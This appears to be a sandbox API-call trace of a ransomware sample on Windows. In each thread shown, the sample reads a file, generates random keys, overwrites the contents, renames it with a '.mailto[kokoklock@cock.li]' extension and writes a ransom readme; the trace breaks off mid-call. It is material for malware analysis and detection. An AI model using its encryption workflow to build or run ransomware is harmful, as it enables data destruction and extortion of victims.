[0068.758] RtlRandom (in: Seed=0xc22fb2c | out: Seed=0xc22fb2c) returned 0x377d7287 [0068.758] RtlRandom (in: Seed=0xc22fb2c | out: Seed=0xc22fb2c) returned 0xe96b6768 [0068.758] RtlRandom (in: Seed=0xc22fb2c | out: Seed=0xc22fb2c) returned 0xd7b8cfd8 [0068.758] RtlRandom (in: Seed=0xc22fb2c | out: Seed=0xc22fb2c) returned 0xc6552dac [0068.758] RtlRandom (in: Seed=0xc22fb2c | out: Seed=0xc22fb2c) returned 0xa91f863f [0068.758] RtlRandom (in: Seed=0xc22fb2c | out: Seed=0xc22fb2c) returned 0xb4579004 [0068.758] RtlRandom (in: Seed=0xc22fb2c | out: Seed=0xc22fb2c) returned 0x51d0704f [0068.758] RtlRandom (in: Seed=0xc22fb2c | out: Seed=0xc22fb2c) returned 0x63362c9f [0068.758] RtlRandom (in: Seed=0xc22fb2c | out: Seed=0xc22fb2c) returned 0x40045645 [0068.758] RtlRandom (in: Seed=0xc22fb2c | out: Seed=0xc22fb2c) returned 0x5e38a70 [0068.758] RtlRandom (in: Seed=0xc22fb2c | out: Seed=0xc22fb2c) returned 0x6191ceb [0068.758] RtlRandom (in: Seed=0xc22fb2c | out: Seed=0xc22fb2c) returned 0x3e37367f [0068.770] ReadFile (in: hFile=0x714, lpBuffer=0x3475830, nNumberOfBytesToRead=0x109e, lpNumberOfBytesRead=0xc22fb20, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xc22fb20*=0x109e, lpOverlapped=0x0) returned 1 [0068.771] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xc22fae8 | out: lpNewFilePointer=0x0) returned 1 [0068.771] WriteFile (in: hFile=0x714, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x109e, lpNumberOfBytesWritten=0xc22fb1c, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0xc22fb1c*=0x109e, lpOverlapped=0x0) returned 1 [0068.771] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e20 [0068.771] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e48 [0068.771] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e48) returned 1 [0068.771] WriteFile (in: hFile=0x714, lpBuffer=0x3423e20*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc22fb18, lpOverlapped=0x0 | out: lpBuffer=0x3423e20*, lpNumberOfBytesWritten=0xc22fb18*=0x20, lpOverlapped=0x0) returned 1 [0068.771] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e20) returned 1 [0068.771] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0068.771] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0068.771] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0068.771] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce00) returned 1 [0068.771] WriteFile (in: hFile=0x714, lpBuffer=0x3423e70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xc22fb44, lpOverlapped=0x0 | out: lpBuffer=0x3423e70*, lpNumberOfBytesWritten=0xc22fb44*=0x8, lpOverlapped=0x0) returned 1 [0068.771] WriteFile (in: hFile=0x714, lpBuffer=0xc22fb5c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc22fb44, lpOverlapped=0x0 | out: lpBuffer=0xc22fb5c*, lpNumberOfBytesWritten=0xc22fb44*=0x4, lpOverlapped=0x0) returned 1 [0068.771] WriteFile (in: hFile=0x714, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc22fb44, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xc22fb44*=0x4, lpOverlapped=0x0) returned 1 [0068.772] WriteFile (in: hFile=0x714, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xc22fb44, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xc22fb44*=0x6c, lpOverlapped=0x0) returned 1 [0068.772] WriteFile (in: hFile=0x714, lpBuffer=0x3424028*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc22fb44, lpOverlapped=0x0 | out: lpBuffer=0x3424028*, lpNumberOfBytesWritten=0xc22fb44*=0x20, lpOverlapped=0x0) returned 1 [0068.772] WriteFile (in: hFile=0x714, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc22fb44, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xc22fb44*=0x4, lpOverlapped=0x0) returned 1 [0068.772] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3424028) returned 1 [0068.772] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3424050) returned 1 [0068.772] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e70) returned 1 [0068.772] CloseHandle (hObject=0x714) returned 1 [0071.070] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347bca0 [0071.070] wcscpy (in: _Dest=0x347bca0, _Source="C:\\588bce7c90097ed212\\1038\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned="C:\\588bce7c90097ed212\\1038\\eula.rtf" [0071.070] wcscat (in: _Dest=0x347bca0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1038\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1038\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0071.070] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.072] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0071.072] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bca0) returned 1 [0071.072] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf", dwFileAttributes=0x80) returned 0 [0071.073] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3426df8 [0071.073] wcscpy (in: _Dest=0x3426df8, _Source="C:\\588bce7c90097ed212\\1038\\" | out: _Dest="C:\\588bce7c90097ed212\\1038\\") returned="C:\\588bce7c90097ed212\\1038\\" [0071.073] wcscat (in: _Dest=0x3426df8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1038\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1038\\D0E731-Readme.txt" [0071.073] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1038\\d0e731-readme.txt")) returned 0x20 [0071.073] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426df8) returned 1 [0071.073] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fad28) returned 1 [0071.073] RtlExitUserThread (Status=0x1) Thread: id = 237 os_tid = 0x122c [0063.490] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 0x80 [0064.583] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0071.051] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x794 [0071.051] GetFileSizeEx (in: hFile=0x794, lpFileSize=0xc2afa48 | out: lpFileSize=0xc2afa48*=86442) returned 1 [0071.051] SetFilePointerEx (in: hFile=0x794, liDistanceToMove=0x151a6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.051] ReadFile (in: hFile=0x794, lpBuffer=0xc2afa1c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xc2afa18, lpOverlapped=0x0 | out: lpBuffer=0xc2afa1c*, lpNumberOfBytesRead=0xc2afa18*=0x4, lpOverlapped=0x0) returned 1 [0071.052] SetFilePointerEx (in: hFile=0x794, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.052] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0071.052] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422e10 [0071.052] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422be0 [0071.052] NtQuerySystemTime (in: CurrentTime=0xc2af9f4 | out: CurrentTime=0xc2af9f4*=132121176289472591) returned 0x0 [0071.052] RtlRandom (in: Seed=0xc2afa00 | out: Seed=0xc2afa00) returned 0x79b4e18d [0071.052] RtlRandom (in: Seed=0xc2afa00 | out: Seed=0xc2afa00) returned 0x87844d3d [0071.052] RtlRandom (in: Seed=0xc2afa00 | out: Seed=0xc2afa00) returned 0xdf8eab1d [0071.053] RtlRandom (in: Seed=0xc2afa00 | out: Seed=0xc2afa00) returned 0x969d962 [0071.053] RtlRandom (in: Seed=0xc2afa00 | out: Seed=0xc2afa00) returned 0xb85ba5ef [0071.053] RtlRandom (in: Seed=0xc2afa00 | out: Seed=0xc2afa00) returned 0x4be94f56 [0071.053] RtlRandom (in: Seed=0xc2afa00 | out: Seed=0xc2afa00) returned 0xb2cd1dcf [0071.053] RtlRandom (in: Seed=0xc2afa00 | out: Seed=0xc2afa00) returned 0x456b3d24 [0071.053] RtlRandom (in: Seed=0xc2afa00 | out: Seed=0xc2afa00) returned 0x6b4de26d [0071.053] RtlRandom (in: Seed=0xc2afa00 | out: Seed=0xc2afa00) returned 0x60b854f6 [0071.053] RtlRandom (in: Seed=0xc2afa00 | out: Seed=0xc2afa00) returned 0xfc651459 [0071.053] RtlRandom (in: Seed=0xc2afa00 | out: Seed=0xc2afa00) returned 0x2cdfd9c1 [0071.053] RtlRandom (in: Seed=0xc2afa00 | out: Seed=0xc2afa00) returned 0x6f7c89aa [0071.053] RtlRandom (in: Seed=0xc2afa00 | out: Seed=0xc2afa00) returned 0x4a6e3938 [0071.053] RtlRandom (in: Seed=0xc2afa00 | out: Seed=0xc2afa00) returned 0x8b83667 [0071.053] RtlRandom (in: Seed=0xc2afa00 | out: Seed=0xc2afa00) returned 0x34959109 [0071.053] RtlRandom (in: Seed=0xc2afa00 | out: Seed=0xc2afa00) returned 0x1cd78cd4 [0071.053] RtlRandom (in: Seed=0xc2afa00 | out: Seed=0xc2afa00) returned 0xd6675d4b [0071.053] RtlRandom (in: Seed=0xc2afa00 | out: Seed=0xc2afa00) returned 0xa940eacb [0071.053] RtlRandom (in: Seed=0xc2afa00 | out: Seed=0xc2afa00) returned 0xf08d93f1 [0071.053] RtlRandom (in: Seed=0xc2afa00 | out: Seed=0xc2afa00) returned 0xcc0977b3 [0071.053] RtlRandom (in: Seed=0xc2afa00 | out: Seed=0xc2afa00) returned 0x78a2eb05 [0071.053] RtlRandom (in: Seed=0xc2afa00 | out: Seed=0xc2afa00) returned 0xfe462624 [0071.053] RtlRandom (in: Seed=0xc2afa00 | out: Seed=0xc2afa00) returned 0x69ebdf33 [0071.053] RtlRandom (in: Seed=0xc2afa00 | out: Seed=0xc2afa00) returned 0xefbad47 [0071.053] RtlRandom (in: Seed=0xc2afa00 | out: Seed=0xc2afa00) returned 0x42c81ce0 [0071.053] RtlRandom (in: Seed=0xc2afa00 | out: Seed=0xc2afa00) returned 0x81ca9921 [0071.053] RtlRandom (in: Seed=0xc2afa00 | out: Seed=0xc2afa00) returned 0xf09d4c09 [0071.053] RtlRandom (in: Seed=0xc2afa00 | out: Seed=0xc2afa00) returned 0x9c28d349 [0071.053] RtlRandom (in: Seed=0xc2afa00 | out: Seed=0xc2afa00) returned 0x9e8340ba [0071.053] RtlRandom (in: Seed=0xc2afa00 | out: Seed=0xc2afa00) returned 0x3a19b63 [0071.053] RtlRandom (in: Seed=0xc2afa00 | out: Seed=0xc2afa00) returned 0x5604e0dc [0071.064] SetFilePointerEx (in: hFile=0x794, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.064] ReadFile (in: hFile=0x794, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xc2af9cc, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xc2af9cc*=0x4096, lpOverlapped=0x0) returned 1 [0071.065] SetFilePointerEx (in: hFile=0x794, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.065] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0071.065] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f88 [0071.065] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422dc0 [0071.065] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422dc0) returned 1 [0071.065] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x33f28e0 [0071.066] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0071.066] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422cf8 [0071.066] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cf8) returned 1 [0071.066] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f88) returned 1 [0071.066] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0071.066] WriteFile (in: hFile=0x794, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xc2af9cc, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0xc2af9cc*=0x4096, lpOverlapped=0x0) returned 1 [0071.066] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0071.066] SetFilePointerEx (in: hFile=0x794, liDistanceToMove=0x151aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.066] WriteFile (in: hFile=0x794, lpBuffer=0x3422fa0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc2afa04, lpOverlapped=0x0 | out: lpBuffer=0x3422fa0*, lpNumberOfBytesWritten=0xc2afa04*=0x20, lpOverlapped=0x0) returned 1 [0071.066] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422fa0) returned 1 [0071.066] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0071.066] WriteFile (in: hFile=0x794, lpBuffer=0x3422e60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xc2afa18, lpOverlapped=0x0 | out: lpBuffer=0x3422e60*, lpNumberOfBytesWritten=0xc2afa18*=0x8, lpOverlapped=0x0) returned 1 [0071.066] WriteFile (in: hFile=0x794, lpBuffer=0xc2afa30*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc2afa18, lpOverlapped=0x0 | out: lpBuffer=0xc2afa30*, lpNumberOfBytesWritten=0xc2afa18*=0x4, lpOverlapped=0x0) returned 1 [0071.066] WriteFile (in: hFile=0x794, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc2afa18, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xc2afa18*=0x4, lpOverlapped=0x0) returned 1 [0071.066] WriteFile (in: hFile=0x794, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xc2afa18, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xc2afa18*=0x6c, lpOverlapped=0x0) returned 1 [0071.066] WriteFile (in: hFile=0x794, lpBuffer=0x3422e10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc2afa18, lpOverlapped=0x0 | out: lpBuffer=0x3422e10*, lpNumberOfBytesWritten=0xc2afa18*=0x20, lpOverlapped=0x0) returned 1 [0071.067] WriteFile (in: hFile=0x794, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc2afa18, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xc2afa18*=0x4, lpOverlapped=0x0) returned 1 [0071.067] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e10) returned 1 [0071.067] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cd0) returned 1 [0071.067] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e60) returned 1 [0071.067] CloseHandle (hObject=0x794) returned 1 [0071.067] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9c) returned 0x33e6330 [0071.067] wcscpy (in: _Dest=0x33e6330, _Source="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" [0071.067] wcscat (in: _Dest=0x33e6330, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0071.067] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.068] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0071.068] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6330) returned 1 [0071.068] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml", dwFileAttributes=0x80) returned 0 [0071.068] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3426df8 [0071.068] wcscpy (in: _Dest=0x3426df8, _Source="C:\\588bce7c90097ed212\\1038\\" | out: _Dest="C:\\588bce7c90097ed212\\1038\\") returned="C:\\588bce7c90097ed212\\1038\\" [0071.068] wcscat (in: _Dest=0x3426df8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1038\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1038\\D0E731-Readme.txt" [0071.068] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1038\\d0e731-readme.txt")) returned 0xffffffff [0071.068] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1038\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x790 [0071.070] WriteFile (in: hFile=0x790, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0xc2afa14, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0xc2afa14*=0x481, lpOverlapped=0x0) returned 1 [0071.071] CloseHandle (hObject=0x790) returned 1 [0071.071] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426df8) returned 1 [0071.071] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426b88) returned 1 [0071.071] RtlExitUserThread (Status=0x1) Thread: id = 238 os_tid = 0x1230 [0063.490] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf")) returned 0x80 [0066.375] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf", dwFileAttributes=0x20) returned 1 [0068.773] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0068.773] GetFileSizeEx (in: hFile=0x710, lpFileSize=0xc32fdb8 | out: lpFileSize=0xc32fdb8*=3702) returned 1 [0068.773] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0xe72, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.773] ReadFile (in: hFile=0x710, lpBuffer=0xc32fd8c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xc32fd88, lpOverlapped=0x0 | out: lpBuffer=0xc32fd8c*, lpNumberOfBytesRead=0xc32fd88*=0x4, lpOverlapped=0x0) returned 1 [0068.775] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.775] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e20 [0068.775] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3424028 [0068.775] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3424050 [0068.775] NtQuerySystemTime (in: CurrentTime=0xc32fd64 | out: CurrentTime=0xc32fd64*=132121176266660341) returned 0x0 [0068.775] RtlRandom (in: Seed=0xc32fd70 | out: Seed=0xc32fd70) returned 0xd257627e [0068.775] RtlRandom (in: Seed=0xc32fd70 | out: Seed=0xc32fd70) returned 0x5c85b4a4 [0068.775] RtlRandom (in: Seed=0xc32fd70 | out: Seed=0xc32fd70) returned 0x9e2731a7 [0068.775] RtlRandom (in: Seed=0xc32fd70 | out: Seed=0xc32fd70) returned 0x3b968fef [0068.775] RtlRandom (in: Seed=0xc32fd70 | out: Seed=0xc32fd70) returned 0x78348a1c [0068.775] RtlRandom (in: Seed=0xc32fd70 | out: Seed=0xc32fd70) returned 0x5acd156d [0068.775] RtlRandom (in: Seed=0xc32fd70 | out: Seed=0xc32fd70) returned 0x7f3d7ead [0068.775] RtlRandom (in: Seed=0xc32fd70 | out: Seed=0xc32fd70) returned 0xec2c2fad [0068.775] RtlRandom (in: Seed=0xc32fd70 | out: Seed=0xc32fd70) returned 0xc622e3b [0068.775] RtlRandom (in: Seed=0xc32fd70 | out: Seed=0xc32fd70) returned 0xf06601b3 [0068.775] RtlRandom (in: Seed=0xc32fd70 | out: Seed=0xc32fd70) returned 0xca1337d9 [0068.775] RtlRandom (in: Seed=0xc32fd70 | out: Seed=0xc32fd70) returned 0x723a10b1 [0068.775] RtlRandom (in: Seed=0xc32fd70 | out: Seed=0xc32fd70) returned 0xb727478d [0068.775] RtlRandom (in: Seed=0xc32fd70 | out: Seed=0xc32fd70) returned 0x68fc0f2a [0068.775] RtlRandom (in: Seed=0xc32fd70 | out: Seed=0xc32fd70) returned 0xb26f35cf [0068.775] RtlRandom (in: Seed=0xc32fd70 | out: Seed=0xc32fd70) returned 0xfb0ddbee [0068.775] RtlRandom (in: Seed=0xc32fd70 | out: Seed=0xc32fd70) returned 0xbfbd830f [0068.775] RtlRandom (in: Seed=0xc32fd70 | out: Seed=0xc32fd70) returned 0xea815858 [0068.775] RtlRandom (in: Seed=0xc32fd70 | out: Seed=0xc32fd70) returned 0xa6ecc2d8 [0068.775] RtlRandom (in: Seed=0xc32fd70 | out: Seed=0xc32fd70) returned 0x5c819408 [0068.775] RtlRandom (in: Seed=0xc32fd70 | out: Seed=0xc32fd70) returned 0xb3d69dc3 [0068.775] RtlRandom (in: Seed=0xc32fd70 | out: Seed=0xc32fd70) returned 0x84fbd880 [0068.775] RtlRandom (in: Seed=0xc32fd70 | out: Seed=0xc32fd70) returned 0xadd1b267 [0068.775] RtlRandom (in: Seed=0xc32fd70 | out: Seed=0xc32fd70) returned 0x868274a2 [0068.775] RtlRandom (in: Seed=0xc32fd70 | out: Seed=0xc32fd70) returned 0xcf52b19e [0068.776] RtlRandom (in: Seed=0xc32fd70 | out: Seed=0xc32fd70) returned 0x5e3b746 [0068.776] RtlRandom (in: Seed=0xc32fd70 | out: Seed=0xc32fd70) returned 0xbb72b2eb [0068.776] RtlRandom (in: Seed=0xc32fd70 | out: Seed=0xc32fd70) returned 0x80232609 [0068.776] RtlRandom (in: Seed=0xc32fd70 | out: Seed=0xc32fd70) returned 0xae35747 [0068.776] RtlRandom (in: Seed=0xc32fd70 | out: Seed=0xc32fd70) returned 0x6ea1ecba [0068.776] RtlRandom (in: Seed=0xc32fd70 | out: Seed=0xc32fd70) returned 0xd81fd5dd [0068.776] RtlRandom (in: Seed=0xc32fd70 | out: Seed=0xc32fd70) returned 0xf31dcc30 [0068.788] ReadFile (in: hFile=0x710, lpBuffer=0x3475830, nNumberOfBytesToRead=0xe76, lpNumberOfBytesRead=0xc32fd64, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xc32fd64*=0xe76, lpOverlapped=0x0) returned 1 [0068.788] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xc32fd2c | out: lpNewFilePointer=0x0) returned 1 [0068.788] WriteFile (in: hFile=0x710, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0xe76, lpNumberOfBytesWritten=0xc32fd60, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0xc32fd60*=0xe76, lpOverlapped=0x0) returned 1 [0068.788] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e20 [0068.788] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e48 [0068.788] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e48) returned 1 [0068.788] WriteFile (in: hFile=0x710, lpBuffer=0x3423e20*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc32fd5c, lpOverlapped=0x0 | out: lpBuffer=0x3423e20*, lpNumberOfBytesWritten=0xc32fd5c*=0x20, lpOverlapped=0x0) returned 1 [0068.788] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e20) returned 1 [0068.788] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0068.788] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0068.788] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0068.788] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce00) returned 1 [0068.788] WriteFile (in: hFile=0x710, lpBuffer=0x3423e70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xc32fd88, lpOverlapped=0x0 | out: lpBuffer=0x3423e70*, lpNumberOfBytesWritten=0xc32fd88*=0x8, lpOverlapped=0x0) returned 1 [0068.788] WriteFile (in: hFile=0x710, lpBuffer=0xc32fda0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc32fd88, lpOverlapped=0x0 | out: lpBuffer=0xc32fda0*, lpNumberOfBytesWritten=0xc32fd88*=0x4, lpOverlapped=0x0) returned 1 [0068.789] WriteFile (in: hFile=0x710, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc32fd88, 